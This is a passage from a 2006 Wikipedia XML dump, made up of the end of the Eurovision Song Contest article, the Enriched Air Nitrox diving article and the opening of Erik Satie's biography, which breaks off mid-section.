Additionally, until Turkey won the Contest in 2003, Cyprus had never given points to Turkey. (Cyprus awarded 8 points to Turkey that year). The next year, Turkey awarded a single point to Cyprus for the first time. 

The [[Nordic Countries|Nordic]] and [[Baltic states|Baltic countries]] are perceived to vote as a block for each other, although careful scrutiny of the votes doesn't always bear this out. For example, Estonia won the 2001 Contest while earning 12 points each from Latvia and Lithuania and 10 points each from Iceland and Norway. Denmark finished second with 12 points each from Iceland, Norway, and Estonia. However, Norway and Iceland finished tied last with just three points each.

Similar patterns have been seen in (among others) the states of the former Soviet Union, former Yugoslav republics, Ireland and Britain, and the western Mediterranean.

The counter-argument to these perceived patterns is that it is natural for people of similar cultures within Europe, sharing common borders where the TV and radio stations of a number of countries can be received, and speaking similar languages, to enjoy similar styles of music. This argument is called into question in the most recent Contests, with many competing countries choosing to sing in English - the cultural similarities argument is not viable.

==Hosts==
Hosting the Eurovision Song Contest is an honour accorded to the winning country from the previous year. Many people believe that host countries have experienced financial difficulties through having to host. This situation was famously parodied in the ''[[Father Ted]]'' episode &quot;A Song for Europe&quot; (although the Contest was simply referred to as the 'Eurosong Competition').

However, most of the expense of the Contest is covered by event sponsors and contributions from the other participating nations. The 2004 ESC was allocated a budget of some &amp;#8364;15 million and was the most expensive edition ever. The Contest is considered a unique showcase for launching the host country as a tourist destination. For example in the summer of 2005, Ukraine abolished its normal visa requirements for tourists to coincide with its hosting of the ESC.

===Interval Acts===
The entertainment provided by the host nation between the competitors' performances and the scoring is sometimes used as the launch of a successful career. The [[Irish dancing]] show [[Riverdance]] was first seen internationally at the 1994 Contest. The [[Hothouse Flowers]] had a successful career after their interval appearance in 1988. The Danish band [[Aqua]] also performed the interval act when [[Copenhagen]] hosted the competition in the year 2001.

===Winning Streaks===
Occasionally, the host nation wins for a second year in a row. This first happened in [[Eurovision Song Contest 1969|1969]] when Spain (in its four-way tie with the Netherlands, France, and the United Kingdom) won the Contest in [[Madrid]]. The hosts also won the Contests in 1973 (Luxembourg), 1979 (Israel), 1993 (Ireland), and 1994 (Ireland again).

Ireland is the only nation to have won three times in a row; in 1992, 1993 and 1994. It also holds the title of most wins - with seven, in 1970, 1980, 1987, 1992, 1993, 1994 and 1996.

Whilst having won the Contest five times, two fewer than Ireland, the United Kingdom have the highest cumulative points total by some distance. This is largely courtesy of the country placing second an incredible fifteen times.

Although other countries had opportunities to host the event twice in a row {{ref num|Israel|1}}, the first country to do so was Ireland, which actually hosted the Contest three times in a row, as they won the Contest in [[Eurovision Song Contest 1992|1992]], 1993 and 1994 and hosted the event in 1993, 1994, and [[Eurovision Song Contest 1995|1995]]. 

The United Kingdom holds the record for hosting the Contest the most times - eight in total - 1960, [[Eurovision Song Contest 1963|1963]], [[Eurovision Song Contest 1968|1968]], 1972, [[Eurovision Song Contest 1974|1974]], 1977, 1982 and 1998 — having hosted four times after winning the Contest (the Netherlands were given the honour after the 1969 tie) and taken the reins four other times when other broadcasters could not fulful their obligation. Ireland has hosted the competition seven times, following its seven wins.

==Musical Styles==
The maximum duration of each song is three minutes, and the musicians and songs selected for the Contest tend towards very commercial [[pop music|pop]]. Some viewers of the Contest view the event as a combination of [[camp]] entertainment and a musical [[train wreck]] (a fact played upon in the UK broadcast with the sardonic BBC commentary of [[Terry Wogan]]) and a subculture of Eurovision Song Contest [[drinking game]]s has evolved in some countries.

It's worth noting that the voting system used for the Contest was originally designed to select a single compromise winner from a large field of candidates. A number of countries use this same system to select their entries, some of them going through several rounds of voting before selecting a winner. After repeated iterations of the system, variations from [[MOR]] pop music tend to be eliminated.

==Winners==
{{main|Eurovision Song Contest Winners}}

Often the winner of the Eurovision gets largely forgotten after their win: however there have been notable exceptions like ABBA. Usually the winner becomes a massive star in their home country. The 2004 winner Ruslana, for example, is a success in her home country Ukraine, yet has failed to make a larger splash outside there. Due to the novelty value of the Contest, some peformers find it hard to be taken seriously afterwards. However, some singers like Céline Dion have launched their careers from a Eurovision stage, while other winners can score individual hits from their winners. For example, [[Elena Paparizou]] became more widely known in Europe after her 2005 victory. [[Elena Paparizou]] also just recently signed with an American record label called [[Moda Records]] and is due to release English remixes in the USA in [[2006]].

==Selection procedures==
Participating nations use a number of different methods to select their entries. Many of them mimic the final Contest with big stage productions, telephone or jury voting, and a selection of songs to chose from. Others follow different paths.

For the 2002 Contest, the Spanish [[Televisión Española|TVE]] created a reality show ''[[Operación Triunfo]]'' that showed the selection and training of unknown singers. At the end, one of them would be elected by the public to represent the country in the Contest. The format was initially an enormous success in Spain, ran for two more years there and was swiftly exported to other countries. One example was the Irish ''[[You're A Star]]'', a ''[[Pop Idol]]'' clone run by RTÉ from 2003 to 2005, which carried the ultimate prize of representing Ireland at Eurovision. Ironically, however, the original Spanish show was quietly dropped for the 2005 Contest after the three previous entries had disappeared into mid-table obscurity in the international contests. The Spanish reverted to a conventional national pre-selection competition. The Irish show was not dropped; however the prize of representing Ireland in the Eurovision was.

In recent years more and more countries have used this &quot;reality show&quot; method of selecting their singing entrants and choosing the song at a later stage, with mixed results. Twelve of the participating countries in the 2004 Song Contest were winners on a reality show.

More successful has been the system where the national broadcaster privately selects one singer and a selection of songs from which the national public votes. This method was used for Turkey, Ukraine, and Greece in the years when these countries won the Contest.

For more information on each country's selection procedures, visit the country-specific links at the bottom of the page.

==Spinoffs and imitators==
There are a number of other contests and events that are either spun off from the Eurovision Song Contest or resemble it closely.

===The Junior Eurovision Song Contest===
Denmark originally held a song contest for children in 2000: then it organised a Nordic Children's Eurovision. The EBU saw clips of the show and liked it so decided to create an official Children's Eurovision.

Thus, starting in 2003, an annual children's version of the Contest was established, called the [[Junior Eurovision Song Contest]]. As originators of the concept, Denmark were given the honour of hosting the first running of the event, which was won by [[Croatia]].

In the Junior Eurovision Song Contests the performers always compose their own songs.

=== An American Eurovision Contest? ===

In 2006 the format of the Eurovision Song Contest was sold to an American Broadcaster in order to compete with [[American Idol]] in the ratings. The member countries of the [[EBU]] will be replaced by the different States and terriories of the United States.

===Intervision Song Contest===
Between 1977 and 1980 the countries of the former Eastern bloc had a song contest of their own, known as the [[Intervision Song Contest]]. Organised by the [[Intervision Network]] and held in [[Sopot]], [[Poland]], it replaced an earlier event &amp;mdash; the [[Sopot International Song Festival]].

===The 50th Anniversary Contest===
see [[Congratulations (Eurovision)]]

==Trivia==
* The [[1974]] [[Carnation Revolution]] in Portugal began when their entry ''[[E depois do adeus]]'' was broadcast on Portuguese radio. The song was the signal to the rebels to start the revolution.
* Lebanon had intended to participate for the first time in [[2005]], but withdrew when it emerged that Lebanese law made it impossible to show the Israeli entry. (The Contest rules require participating broadcasters to show all the songs). [http://news.bbc.co.uk/2/hi/entertainment/4362373.stm BBC coverage]

===The Contest in Popular Culture===
* As mentioned previously, the Eurovision Song Contest was the central focus of an episode of ''[[Father Ted]]''.
* In an episode of ''[[The Young Ones]]'', [[Alexei Sayle]] dressed as [[Benito Mussolini]] and performed a mock Contest entry called &quot;Make Silly Noises&quot;.
* The short-lived BBC comedy [[Heartburn Hotel]] featured an episode in which the delegation from the impoverished Eastern European state of Zagrovia stayed in the grotty Birmingham hotel run by [[Tim Healy]] whilst taking part in that year's Eurovision Song Contest. Although the country in question is, of course, fictitious, the Contest had indeed been held in Birmingham that year (1998), and the programme notably included some specially filmed footage of the Zagrovian &quot;entry&quot; - entitled &quot;Love, Love, Love&quot; - being performed on the actual ESC stage at the [[National Indoor Arena]]. [http://library.digiguide.com/lib/episode/4724]
* At the 2005 [[MTV]] European Music Awards, the British host [[Sacha Baron Cohen]] made a parody of Eastern European countries hosting the Contest. As the fictitious [[Kazakhs|Kazakh]] TV personality [[Borat]], Cohen opened the show by welcoming the viewers to ''The Eurovision Song Contest 2005''. The award show also included other, more subtle, references to the ESC, like overly long folk-dance sequences (common in the ''interval act'' of the ESC), and a pointless appearance by the (still fake) Kazakh president.
* British comedy [[Maid Marian and her Merry Men]] (1989) included a Eurovision parody in their song contest 'a Song for Worksop.' Upon forming the idea for the song contest, Marian described in vivid detail the exact manner in which she would host the show, mirroring Eurovision hosts of the past, and the winning song was the Guy of Gisborne's idiotic composition 'Ding-a-Ling-a-Ling, Dong-a-Long-a-Long.'
*Famous British comedy troupe, [[Monty Python]], parodied the [[Eurovision Song Contest]] in their popular 70's variety comedy show, [[Monty Python's Flying Circus]].
* In the 1977 film ''[[Jubilee (1977 film)|Jubilee]]'' a character is referred to as &quot;England's entry for the Eurovision Song Contest&quot; about 32 minutes in. 
* In the 2000 film ''[[An Everlasting Piece]]'' after about 7 minutes a wig technician asks during customer/client  smalltalk  whether the client knows where the Eurovison Song Contest is being held that year.

===See also===
*[[List of years in music]]
*The [[Organización de Televisión Iberoamericana]] organizes a similar contest for Latin America, Portugal and Spain.
*[[Eurofolk Song Contest]] or [[Alternative Eurovision]]
*[[Schlager]]
*[[Diggil-ej]]

==External links==
===Official Websites===
* [http://www.eurovision.tv/ Eurovision.tv - the official website of the Eurovision Song Contest]
* [http://www.ebu.ch ebu.ch - the official website of the European Broadcasting Union]

===Fan sites===

* [http://www.onikipuan.com Onikipuan.com OGAE Turkey Forum]
* [http://www.eurovision-turkey.com/index.html Eurovision Turkey]
* [http://enorama.11.forumer.com Eurovision forum in English]
* [http://eurovision.eliit.com EuroFanForum - Eurovision forum in Estonian]
* [http://eurovil.iba.org.il Eurovil - The Official Israeli Song Contest Eurovision Site]
* [http://eurovision.ert.gr/en/ Greek official website]
* [http://eurovision.le-site.info/ L'eurovision en français (in French)]
* [http://eurovision-hungary.tar.hu/ Hungary in the Eurovision Song Contest]
* [http://www.diggiloo.net/ The Diggiloo Thrush]
* [http://www.doteurovision.com/ Doteurovision]
* [http://www.esckaz.com/ ESCKaz (In English and Russian)]
* [http://www.ecgermany.de/ Eurovision Club Germany (in German)]
* [http://www.esc-dk.dk/ ESC-dk - Eurovisionens Melodi Grand Prix (in Danish)]
* [http://www.escmalta.com/ ESCMalta Community website]
* [http://www.esctoday.com/ ESCToday]
* [http://www.eurobosnia.com/ Eurobosnia]
* [http://www.eurosong.net/ Eurosong.net - Chatroom, fan voting &amp; lyrics]
* [http://www.eurovisionblog.com/ Eurovisionblog]
* [http://www.eurovision-db.com/ Eurovision-db]
* [http://www.eurovision-fr.net/ Eurovision-fr(in French)] 
* [http://www.eurovision-greece.com/ Eurovision-Greece]
* [http://www.eurovisionmalta.com/ EurovisionMalta]
* [http://www.eurovision-romania.tk/ Eurovision-Romania]
* [http://www.eurovision-spain.com/ Eurovision-Spain (in Spanish)]
* [http://www.geocities.com/national_finals/ Eurovision Song Contest National Finals]
* [http://www.gylleneskor.se/ Gylleneskor (in Swedish)]
* [http://www.hoteyes.net/ Hoteyes.net - MP3 and video downloads]
* [http://www.kolumbus.fi/jarpen/ Eurovision Song Contest Statistics]
* [http://www.ogae.net/ OGAE Network - Eurovison Fanclub Network]
* [http://www.oikotimes.com/ Oikotimes]
* [http://www.oneurope.biz/ OnEurope]
* [http://www.escchat.com/ #esc]
* [http://www.eurovisionmadrid.com/ EurovisionMadrid]
* [http://www.creepycrawlyweb.com/eurovisiongallery/ This is how WE celebrated the 50th contest]

===Miscellaneous Links===
*[http://orangecow.org/pythonet/sketches/europoli.htm/ Monty Python's Parody of the Eurovision Song Contest, &quot;The Europolice Song Contest&quot;]

===Eurovision Shops===
* [http://www.theeurovisionshop.com The Eurovision Shop - Large Selection of Eurovision items]

===Eurovision Wiki===
* [http://www.eurovisionwiki.com The Eurovision Wiki - A Wealth Of Knowledge on Eurovision]

==Endnotes==
#{{note|Israel}} Israel declined to host the [[1980]] Contest because the [[Israel Broadcasting Authority|IBA]] preferred to spend their budget on upgrading their transmission to [[Television#Color television|colour]].

{{Eurovision Song Contest}}
{{EurovisionCountries}}


[[Category:Eurovision Song Contest|*]]
[[Category:Singing competitions]]

{{Link FA|sr}}

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  </page>
  <page>
    <title>Enriched Air Nitrox</title>
    <id>9955</id>
    <revision>
      <id>40727733</id>
      <timestamp>2006-02-22T16:38:48Z</timestamp>
      <contributor>
        <username>Osgoodelawyer</username>
        <id>318707</id>
      </contributor>
      <minor />
      <comment>/* Oxygen toxicity */</comment>
      <text xml:space="preserve">&lt;div style=&quot;float:right;width:300px;text-align:center&quot;&gt;[[Image:EANxDecal.png]]&lt;br /&gt;
&lt;small&gt;Typical decal used on scuba cylinders containing Nitrox&lt;/small&gt;&lt;/div&gt;
'''Nitrox''' is a [[breathing gas]] consisting of [[oxygen]] and [[nitrogen]] (similar to [[Earth's atmosphere|air]]), but with 
a higher proportion of [[oxygen]] than the normal 20.9%.

== Purpose==
Nitrox is mainly used in [[Scuba diving]] to reduce the proportion of [[nitrogen]] in the breathing gas mixture. Reducing the proportion of nitrogen by increasing the proportion of oxygen reduces the risk of [[decompression sickness]], allowing extended dive times without increasing the need for [[decompression stop]]s. Nitrox is not a safer gas than compressed air in all respects: although its use reduces the risk of decompression sickness, it increases the risk of [[oxygen toxicity]] and fire, which are further discussed below.  

It is commonly believed that breathing nitrox can reduce the effects of [[nitrogen narcosis]], but this has not been fully studied.  In fact, there is some suggestion that oxygen may also have some narcotic properties under pressure; thus one should not expect a reduction in narcotic effects due only to the use of nitrox.  

There is anecdotal evidence that the use of nitrox reduces post-dive fatigue, particularly in older divers, but there have been no studies conducted to either confirm or refute this.

== Naming==
Nitrox is known by several names: Enhanced&amp;nbsp;Air&amp;nbsp;Nitrox, Oxygen&amp;nbsp;Enriched&amp;nbsp;Air, Nitrox, EANx or Safe&amp;nbsp;Air. In EANx, the &quot;x&quot; indicates the percentage of oxygen in the mix and is dropped when the percentage is known; for example a 32% EANx mix is called EAN32. The two most popular blends are EAN32 and EAN36 (also named Nitrox I and Nitrox II or simply Nitrox32 and Nitrox36). 

== Richness of mix==
Nitrox with more than 40% oxygen is uncommon within entry-level [[recreational diving]]. 

Nitrox with 50% to 80% oxygen is common in [[technical diving]] as a decompression gas, which eliminates inert gases, such as nitrogen and helium, from the tissues more quickly than leaner oxygen mixtures eliminate them. 

Nitrox with around 30% oxygen, with a [[maximum operating depth]] of around 35 metres/115 feet, is sometimes used as &quot;travel mix&quot;. The main reasons for using &quot;travel mix&quot; are to conserve the &quot;bottom mix&quot; for the deep part of the dive, to reduce nitrogen tissue loading and avoid breathing a [[Hypoxia (medical)| hypoxic]] &quot;bottom&quot; gas in shallow water.

==Dangers==
===Oxygen toxicity===
Diving and handling Nitrox raises a number of potentially fatal dangers due to the high [[partial pressure]] of oxygen (ppO2). Nitrox is not a deep-diving gas mixture due the increased proportion of oxygen in Nitrox: oxygen becomes [[oxygen toxicity|toxic]] when breathed at high pressure. For example, the maximum operating depth of nitrox with 36% oxygen, a popular [[recreational diving]] mix, is generally around 30 metres/100 feet. The exact value of the maximum allowed ppO2 and maximum operating depth varies depending on factors such as the training agency, the type of dive, the breathing equipment and the level of surface support, with [[professional diving|professional divers]] sometimes being allowed to breath higher ppO2s than those recommended to [[recreational diving|recreational divers]]. See the main articles: [[oxygen toxicity]] and [[maximum operating depth]].

To dive safely with Nitrox, the diver must learn good buoyancy control, a vital part of SCUBA diving in its own right, and a disciplined approach to preparing, planning and executing a dive to ensure that the ppO2 is known and the maximum operating depth is not exceeded. Reputable diver operators and gas blenders insist on diver having recognised Nitrox training before selling Nitrox services.

Some training agencies teach the use of two depth limits to protect against oxygen toxicity. The shallower depth is called the &quot;maximum operating depth&quot; and is reached when the partial pressure of oxygen in the breathing gas hits 1.4 Bar.  The second deeper depth, called the &quot;contingency depth&quot;, is reached when the partial pressure hits 1.6 bar. Diving at or beyond this level exposes the diver to the risk of Central Nervous System oxygen toxicity.  This can be extremely dangerous since its onset is often without warning and can lead to drowning as the regulator is spat out during convulsions.

===Fire===
[[Diving cylinder]]s are filled with Nitrox by a [[gas blending]] technique such as partial pressure blending or premix decanting.   With the use of pure oxygen during partial pressure blending there is a risk of fire, which means that only oxygen clean and oxygen compatible cylinders and regulators should be used.  There have been reports of fires and explosions where the oxygen content was well below the usual 40% clean and compatible limit. 

== History ==
In 1970, [[Dr. Morgan Wells]], the former Director of the National Oceanographic and Atmospheric Administration ([[NOAA]]) began instituting diving procedures for oxygen-enriched air. He also developed a process for mixing oxygen and air which he called a continuous blending system.  For many years Dr. Wells' invention was the only practical alternative to partial pressure blending. 

== See also ==
*[[BSAC]]
*[[CMAS]]
*[[International Association of Nitrox and Technical Divers]]
*[[PADI]]
*[[Trimix]]

[[Category:Diving]]

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    </revision>
  </page>
  <page>
    <title>Erik Satie</title>
    <id>9956</id>
    <revision>
      <id>42006723</id>
      <timestamp>2006-03-03T04:28:41Z</timestamp>
      <contributor>
        <username>Antandrus</username>
        <id>57658</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/203.36.44.16|203.36.44.16]] ([[User talk:203.36.44.16|talk]]) to last version by Adkins</comment>
      <text xml:space="preserve">&lt;!-- Image no longer available at commons:
[[Image:Debussysatie.jpg|thumb|right|Opx|Erik Satie (right) and [[Claude Debussy]] (left) - picture taken probably between 1910 and 1915.]]--&gt;
'''Eric Alfred Leslie Satie''' ([[Honfleur]], [[17 May]] [[1866]] &amp;ndash; [[Paris]], [[1 July]] [[1925]]) was a [[France|French]] [[composer]] and [[pianist]].

Satie also introduced himself as a &quot;gymnopedist&quot; (in [[1887]], shortly before writing his most famous compositions, the ''[[Gymnopédie]]s''). He was a writer of articles for several periodicals, and referred to himself as a &quot;phonometrograph&quot; or &quot;phonometrician&quot; (someone who measures and writes down sounds) &amp;mdash; preferring this definition of his profession to &quot;[[musician]]&quot;, after he had been called “a clumsy but subtle technician” in a book on contemporary French composers in [[1911]]. Satie can be seen as a serial [[precursor]], streets ahead of many [[20th century]] [[avant-garde]] artistic ideas, see [[#&quot;Petit dictionnaire d'idées reçues&quot; (short dictionary of preconceived ideas)|below]].

He is best known as '''Erik Satie''' (he exchanged, from his first composition in [[1884]], the 'c' at the end of his first name for a 'k'). Although in later life he prided himself on always publishing his work under his own name, there appears to have been a brief period in the late 1880s in which he published articles under the [[pseudonym]] ‘Virginie Lebeau’.

==Life and work==
===Early years===
[[Image:MaisonSatie.jpg|thumb|200px|Satie house and museum in Honfleur]]
Erik Satie's youth was spent alternating between living in [[Honfleur]], [[Basse-Normandie]], and Paris.  When he was four years old, his family moved to Paris, his father (Alfred), having been offered a translator's job in the capital.  After his mother (born Jane Leslie Anton) died in [[1872]], he was sent, together with his younger brother Conrad, back to Honfleur, to live with his paternal grandparents. There he received his first music lessons from a local [[organist]].  When his grandmother died in 1878, the two brothers were reunited in Paris with their father, who remarried (a piano teacher) shortly afterwards. From the early [[1880]]s onwards, Alfred Satie started publishing salon compositions (by his new wife and himself, among others).

In [[1879]] Satie entered the [[Paris Conservatoire]], where he was soon labelled untalented by his teachers. After being sent home for two and a half years, he was re-accepted in the Conservatoire at the end of 1885 &amp;mdash; but was unable to make a much more favourable impression on his teachers than he had before, so he finally resolved to take up [[military service]] a year later. This didn't last very long; within a few weeks he tried to leave the army through a trick, which eventually succeeded.

In 1887 he left home to take lodgings in [[Montmartre]]. By this time he had started what was to be a long-lived friendship with the romantic poet [[Patrice Contamine]], and had had his first compositions published by his father. He soon integrated with the artistic clientèle of the [[Chat Noir|Le Chat Noir]] Café-cabaret, and started publishing his ''[[Gymnopédies]]''. Publication of compositions in the same vein (''[[Ogives]]'', ''[[Gnossiennes]]'', etc.) followed. In the same period he got to know [[Claude Debussy]]. He moved to a smaller room, still in Montmartre (rue Cortot N° 6), in [[1890]]. By [[1891]] he was the official composer and chapel-master of the [[Rosicrucian]] &quot;Ordre de la Rose-Croix Catholique, du Temple et du Graal&quot;, led by Sâr [[Joséphin Péladan]], which led to compositions such as ''[[Salut Drapeau!]]'', ''[[Le Fils des étoiles]]'', and the ''[[Sonneries de la Rose Croix|Sonneries de la Rose+Croix]]''.

By mid-[[1892]] he had composed the first pieces in a compositional system of his own making (''[[Fête donnée par des Chevaliers Normands en l'Honneur d'une jeune Demoiselle]]''), had provided incidental music to a [[chivalric]] [[esoteric]] play (two ''[[Prélude du Nazaréen|Préludes du Nazaréen]]''), had had his first [[hoax]] published (announcing the [[premiere]] of ''Le Bâtard de Tristan'', an anti-Wagnerian opera he probably never composed), and had broken with Péladan, starting that autumn with the ''[[Uspud]]'' project, a &quot;Christian Ballet&quot;, in collaboration with [[Contamine de Latour]]. While the comrades from both the Chat Noir and [[Miguel Utrillo]]'s [[Auberge du Clou]] sympathised, a promotional brochure was produced for the project, which reads as a [[pamphlet]] for a new esoteric [[sect]]. 

[[Image:SatiebyValadon.jpg|thumb|right|0px|Portrait of Satie by Valadon]]
Satie and [[Suzanne Valadon]], an artist, and long-time friend of Miguel Utrillo, started an affair early in [[1893]]. Soon Valadon moved to a room next to Satie's at the Rue Cortot. Satie became obsessed with her, calling her his ''Biqui'', and writing impassioned notes about &quot;her whole being, lovely eyes, gentle hands, and tiny feet&quot;. Valadon painted Satie's portrait and gave it to him, but after six months she moved on, leaving Satie broken-hearted. During their relationship Satie had composed the ''[[Danses Gothiques]]'' as a kind of prayer to restore peace of mind. Apparently, this would remain the only relationship Satie ever had.

In the same year he met the young [[Maurice Ravel]] for the first time, Satie's style emerging in the first compositions of the youngster. One of Satie's own compositions of that period, the ''[[Vexations]]'', was to remain undisclosed until after his death. By the end of the year he had founded the [[Eglise Métropolitaine d'Art de Jésus Conducteur]] (the Metropolitan Church of Art of the Leading Christ). As its only member, in the role of &quot;Parcier et Maître de Chapelle&quot; he started to compose a ''Grande Messe'' (later to become known as the ''[[Messe des Pauvres]]''), and wrote a flood of letters, articles and pamphlets showing off his self-assuredness in religious and artistic matters. To give an example: he applied for membership of the [[Académie Française]] twice, leaving no doubt in the application letter that the board of that organisation (presided by [[Camille Saint-Saëns]]) as much as owed him such membership. Such proceedings without doubt rather helped to wreck his popularity in the cultural [[The Establishment|establishment]]. In [[1895]] he inherited some money, allowing him to have some more of his writings printed, and to change from wearing a priest-like habit to being the &quot;[[:fr:Image:ErikSatie.jpeg|Velvet Gentleman]]&quot;.

===Early years in Arcueil, cabaret compositions, Schola Cantorum===
By mid-[[1896]] all his financial means had vanished, and he had to move to cheaper lodgings, first at the Rue Cortot, to a room not much bigger than a cupboard, and two years later (after he'd composed the two first sets of ''[[Pièces froides]]'' in [[1897]]), to [[Arcueil]], a suburb some ten kilometers from the centre of Paris (in the [[Val-de-Marne]] district of the [[Île-de-France (région)|Île-de-France ]]).

At this period he re-established contact with his brother Conrad (in much the way [[Vincent Van Gogh]] had with his brother Theo) for numerous practical and financial matters, disclosing some of his inner feelings in the process. For example, from his letters to his brother it's clear that he had set aside any religious ideas (which were not to return until the last months of his life); Satie used humour as he was often to do: to indicate a change of mind concerning subjects about which he had had strong views.

From the winter of [[1898]]&amp;ndash;[[1899]], Satie could be seen, as a daily routine, leaving his apartment in the Parisian suburb of Arcueil to walk across Paris to either Montmartre or [[Montparnasse]], before walking back again in the evening.

From 1899 on he started making money as a cabaret pianist (mostly accompanying [[Vincent Hyspa]], later also [[Paulette Darty]]), adapting over a hundred compositions of popular music for piano (or piano and voice), adding some of his own.  The most popular of these were ''[[Je te veux]]'' (text by Henry Pacory), ''Tendrement'' (text by Vincent Hyspa), ''Poudre d'or'' (a waltz), ''La Diva de l'&quot;Empire&quot;'' (text by Dominique Bonnaud/Numa Blès), ''Le Picadilly'' (A March), ''Légende Californienne'' (text by Contamine de Latour lost, but the music later reappears in ''[[La Belle Excentrique]]''), and many more (probably even more have been lost). In his later years Satie would reject all his cabaret music as vile and against his nature, although he revived some of the fun of it in his [[1920]] ''Belle excentrique''. But for the time being, it was an income.

Only a few compositions that Satie himself took seriously remain from this period: ''[[Jack-in-the-box (composition)|Jack-in-the-box]]'', music to a [[pantomime]] by Jules Dépaquit (called a &quot;clownerie&quot; by Satie), ''[[Geneviève de Brabant]]'', a short comic opera (?shadowy play) on a serious theme, text by [[Lord Cheminot]], ''[[The Dreamy Fish]]'', piano music to accompany a lost tale by Lord Cheminot, and a few others (mostly incomplete, hardly any of them staged, and none of them published at the time).

Both ''Geneviève de Brabant'' and ''The Dreamy Fish'' have been analysed (e.g. by [[Ornella Volta]]) as containing elements of competition with [[Claude Debussy]], of which Debussy was probably not aware (Satie not making this music public). Meanwhile, Debussy was having one of his first major successes with ''[[Pelléas et Mélisande (opera)|Pelléas et Mélisande]]'' in [[1902]], leading a few years later to ‘who-was-precursor-to-whom’ debates between the two composers (in which [[Maurice Ravel]] would also get involved).

In October [[1905]] Satie enrolled in [[Vincent d'Indy]]'s [[Schola Cantorum]] to study classical [[counterpoint]] (while still continuing his cabaret work). Most of his friends were as dumbfounded as the professors at the Schola when they heard about his new plan to return to the classrooms (especially as d'Indy was an admiring pupil of [[Camille Saint-Saëns|Saint-Saëns]], not particularly favoured by Satie). As for Satie's motivation for this step, there were probably two main reasons: first, he was tired of being told that the [[harmony|harmonisation]] of his compositions was erratic (a criticism he could not very well counter while not having completed any studies in music), and secondly, he was developing the idea that one of the most typical characteristics of [[France|French]] music was clarity (which could better be achieved with a good background knowledge of how traditional harmony was perceived). Satie would follow these courses at the Schola, as a respected pupil, for more than five years, receiving a first (intermediate) diploma in 1908.

Some of his classroom counterpoint-exercises would, after his death, be published (e.g., the ''[[Désespoir agréable]]''), but he probably saw the ''[[En Habit de Cheval]]'' (published in [[1911]] as the result of &quot;eight years hard work to come to a new, modern fugue&quot;) as the culmination of the Schola episode. Another summary, of the period prior to the Schola, also appeared in [[1911]]: the ''[[Trois Morceaux en forme de poire]]'', which was a kind of compilation of the best of what he had written up to [[1903]].

Something that becomes clear through these published compilations is that maybe he did not so much reject [[Romanticism]] (and its exponents like [[Richard Wagner|Wagner]]) as a whole (he has become more moderate in a way), as that he rejected certain aspects of it: musically the thing he rejected most consequently, from his very first composition to his very last, was the idea of [[Musical development|development]], certainly in the more strict definition of this term: the intertwining of different themes in a development section of a [[sonata form]]: naturally this makes his contrapuntal (and other works) very short: e.g. the &quot;new, modern&quot; [[Fugue]]s do not extend further than the exposition of the theme(s). Generally he would say that he didn't think it permitted that a composer would take more time from his public than strictly necessary, certainly avoiding being boring in any way. Also [[Melodrama]], in its historical meaning of the then popular romantic genre of &quot;spoken words to a background of music&quot;, was something Satie appears to have succeeded quite well in staying clear of (although his [[1913]] ''[[Le Piège de Méduse|Piège de Méduse]]'' could be seen as an absurdistic spoof of that genre).

[[Image:Bustoerik.jpg|frame|right|Selfportrait of Erik Satie. The text reads (translated from French): Project for a bust of Mr. Erik Satie (painted by the same), with a thought: &quot;I came into the world very young, in an age that was very old&quot;]]

In the meanwhile some other changes had also taken place: he had become a member of a radical ([[socialism|socialist]]) party, had socialised with the Arcueil community (amongst other things, he'd been involved in the &quot;Patronage Laïque&quot; work for children), and he had changed his appearance to that of the 'bourgeois functionary' (with bowler hat, umbrella, etc.). Also, instead of involving himself again in any kind of [[medievalism|medievalist]] [[sect]], he channelled these interests into a peculiar secret [[hobby]]: in a filing cabinet he maintained a collection of imaginary buildings (most of them described as being made out of some kind of metal), which he drew on little cards. Occasionally, extending the game, he would publish anonymous small announcements in local journals, offering some of these buildings (e.g., a &quot;castle in lead&quot;) for sale or rent.

===Riding the waves===
From this point, things started to move very quickly for Satie. First, there was, starting in [[1912]], the success of his new short, humorous piano pieces; he was to write and publish many of these over the next few years (most of them premiered by the pianist [[Ricardo Viñes]]): the ''[[Véritables Préludes flasques (pour un chien)]]'' (&quot;Genuine Flabby Preludes (for a dog)&quot;), the ''[[Vieux sequins et vieilles cuirasses]]'' (&quot;Old Sequins and Old Breastplates&quot;), the ''[[Embryons desséchés]]'' (&quot;Dried up Embryos&quot;), the ''[[Descriptions Automatiques]]'', and the ''[[Sonatine Bureaucratique]]'' (a [[Muzio Clementi]] spoof), etc., all date from this period. His habit of accompanying the scores of his compositions with all kinds of written remarks was now well established (so that a few years later he had to insist that these not be read out during performances&lt;!--avoiding &quot;Melodrama&quot; genre!--&gt;). He had mostly stopped using barlines by this time. In some ways these compositions were very reminiscent of [[Gioacchino Rossini|Rossini]]'s compositions from the final years of his life, grouped under the name [http://www.rossinigesellschaft.de/data/pdvd.html Péchés de Vieillesse]; Rossini also wrote short, humorous piano pieces like ''Mon prélude hygiénique du matin'' or ''Dried figs'', etc., and would dedicate such pieces to his dog every year on its birthday. These pieces had been performed in the Rossinis' exclusive salon in Paris some decades earlier. In all probability, however, Satie hadn't seen or heard any of this music when he was composing his own piano music in the first decades of the 20th century; the Rossini piano pieces had not yet been published at that time. It is said that [[Diaghilev]] discovered the manuscripts of these Rossini pieces around [[1918]] at [[Naples]], before staging ''[[La Boutique Fantasque]]'' &amp;mdash; this was about the same time that Satie stopped writing humorous comments on his scores.

But the real acceleration in Satie's life didn't come so much from the increasing success of his new piano pieces; in fact it was Ravel who (probably unknowingly) triggered something that was to become a characteristic of Satie's remaining years: being a part of every progressive movement that manifested itself in Paris over the following years. These movements succeeded one another rapidly, while without doubt in these years Paris was the artistic capital of the world (long before London or New York would achieve much significance in this regard), and the beginning of the new century appeared to have set many minds on fire.

In [[1910]] the &quot;Jeunes Ravêlites&quot;, a group of young musicians around Ravel, proclaimed their preference for Satie's earlier work (from before the Schola period), reinforcing the idea that Satie had been a precursor of Debussy.  At first Satie was pleased that at least some of his works were receiving public attention, but when he realised that this meant that his more recent work was overlooked or dismissed, he looked for other young artists who related better to his more recent ideas, so as to have better mutual support in creative activity.  Thus young artists such as [[Roland Manuel]], and later [[Georges Auric]] and [[Jean Cocteau]], started to receive more of his attention than the &quot;Jeunes&quot;.

As a result of his contact with Roland-Manuel, he again takes up publicising his thoughts, much more ironical than he had done before (amongst other things, the ''[[Mémoires d'un amnésique]]'' and ''[[Cahiers d'un mammifère]]''){{ref|publications}}.

